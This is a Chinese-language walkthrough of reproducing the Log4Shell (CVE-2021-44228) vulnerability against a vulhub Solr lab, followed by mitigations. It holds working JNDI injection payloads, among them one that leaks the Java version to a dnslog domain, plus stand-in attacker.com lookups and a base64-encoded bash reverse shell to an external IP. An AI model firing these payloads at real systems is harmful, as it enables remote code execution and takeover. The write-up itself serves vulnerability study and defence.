Log4j2-CVE-2021-44228漏洞复现

漏洞简介

漏洞概述

• 漏洞编号：CVE-2021-44228（Log4Shell）
• 影响组件：Apache Log4j2（Log4j 2.x 系列）
• 影响版本：2.0.0 ≤ Log4j2 ≤ 2.14.1
• 漏洞类型：JNDI 注入 → 远程代码执行（RCE）
• 危险等级：严重（CVSS 3.1: 10.0）

JNDI是什么?

JNDI 简介：Java 命名和目录接口（Java Naming and Directory Interface，JNDI）是 Java 平台的一个重要特性，用于在 Java 应用程序中查找和访问各种资源，如数据库连接、EJB（Enterprise JavaBeans）等。它提供了一种统一的方式来定位和获取这些资源，使得应用程序可以更灵活地配置和使用资源。
JNDI由三部分组成：JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口，JNDI SPI是具体实现，应用程序需要指定具体实现的SPI。
简单来说JNDI就是一个抽象的接口

漏洞原理

Apache Log4j2 是一个 Java 日志记录框架。在受影响版本中，Log4j2 支持通过 ${jndi:ldap://attacker.com/exp} 这样的表达式进行动态日志内容解析（Lookup 功能）。 当应用程序记录用户输入（如 HTTP 头、参数等）到日志时，如果输入包含恶意 JNDI 表达式，Log4j2 会尝试通过 JNDI 连接到攻击者控制的服务器，下载并执行远程恶意类，从而实现远程代码执行。

Log4j2 支持使用 JNDI 的lookup功能来解析和加载外部资源，lookup是一个查找方法，在日志格式中可以使用${jndi:ldap://example.com/}这样的表达式，Log4j2会尝试通过JNDI去指定的LDAP服务器获取资源

import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;  
  
public class Log4j2Lookup{  
    // 实现 lookup 方法  
    public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);  
   public static void main(String[] args) {  
              ThreadContext.put("userId", "test");  
              LOGGER.error("userId: ${ctx:userId}");  
   }  
}

输出:userId: test
由此可见:Log4j2会使用lookup功能检索userId里面的变量

从上面的例子可以看到，通过在日志字符串中加入"${ctx:userId}"，Log4j2在输出日志时，会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似"${type:var}"，即可以实现对变量var的引用。

type可以是如下值：
　　ctx：允许程序将数据存储在 Log4j ThreadContext Map 中，然后在日志输出过程中，查找其中的值。
　　env：允许系统在全局文件（如 /etc/profile）或应用程序的启动脚本中配置环境变量，然后在日志输出过程中，查找这些变量。例如：${env:USER}。
　　java：允许查找Java环境配置信息。例如：${java:version}。
漏洞poc${jndi:rmi//127.0.0.1:1099/a}成因就是Log4j2通过JNDI的lookup功能获取rmi//127.0.0.1:1099/a的变量内容,远程访问攻击者本地的类,加载远程的类,从而实现代码执行

触发点可以是：请求头、参数、User-Agent、X-Forwarded-For 等被记录的字段，是一次 日志功能→命令执行 的链式漏洞。

影响版本：

• Apache Log4j 2.0-2.14.1
• Apache Log4j 1.2和Log4j 1.2.x系列不受影响

漏洞复现

环境搭建

1. 靶机环境（使用 vulhub）：

   cd vulhub/log4j/CVE-2021-44228/
   docker-compose up -d

访问：http://靶机IP:8090
2. 攻击机环境：
- Java-Chains（用于生成 JNDI 利用链）
- nc/netcat（用于监听反弹 shell）

由于log4j2是基于第三方组件的漏洞,没有源码,只能在各种输入框插入payload测试是否有漏洞,所以,我们需要准备一个dnslog网址,插入测试payload进行检测

复现执行

1. 准备dnslog,拼接payload
   

漏洞接口

http://192.168.41.128:8983/solr/admin/cores?action=xxx

2. 使用vulhub的靶场
   

3. 打payload

http://192.168.41.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.6zutrb.dnslog.cn}

回显

RCE

使用java chains生成远程ldap,rmi实现远程命令执行

http://192.168.41.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.41.128:50389/8be0e0}

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ==" | base64 -d | bash

• 原理:
  JNDI 注入：攻击者构造包含 ${jndi:ldap://attacker.com/exp} 的日志消息，触发服务端向恶意 LDAP/RMI 服务器请求并加载远程类。

漏洞防御

修复与缓解措施

• 升级 Log4j2： 官方建议升级至 2.17.1 或更高版本，以彻底修复漏洞。 Maven 示例：
• 临时缓解方案： 移除 JndiLookup 类： zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 禁用消息查找功能（适用于 2.10 及以上版本）： export LOG4J_FORMAT_MSG_NO_LOOKUPS=true 或在 JVM 启动参数中添加： -Dlog4j2.formatMsgNoLookups=true
• 网络防护： 配置防火墙或 WAF，拦截包含_jndi:ldap://_等可疑字符串的请求。

免责声明
本文仅用于安全研究及防御教育目的。未经授权对他人系统进行测试可能违反法律，请确保操作在合法环境下进行。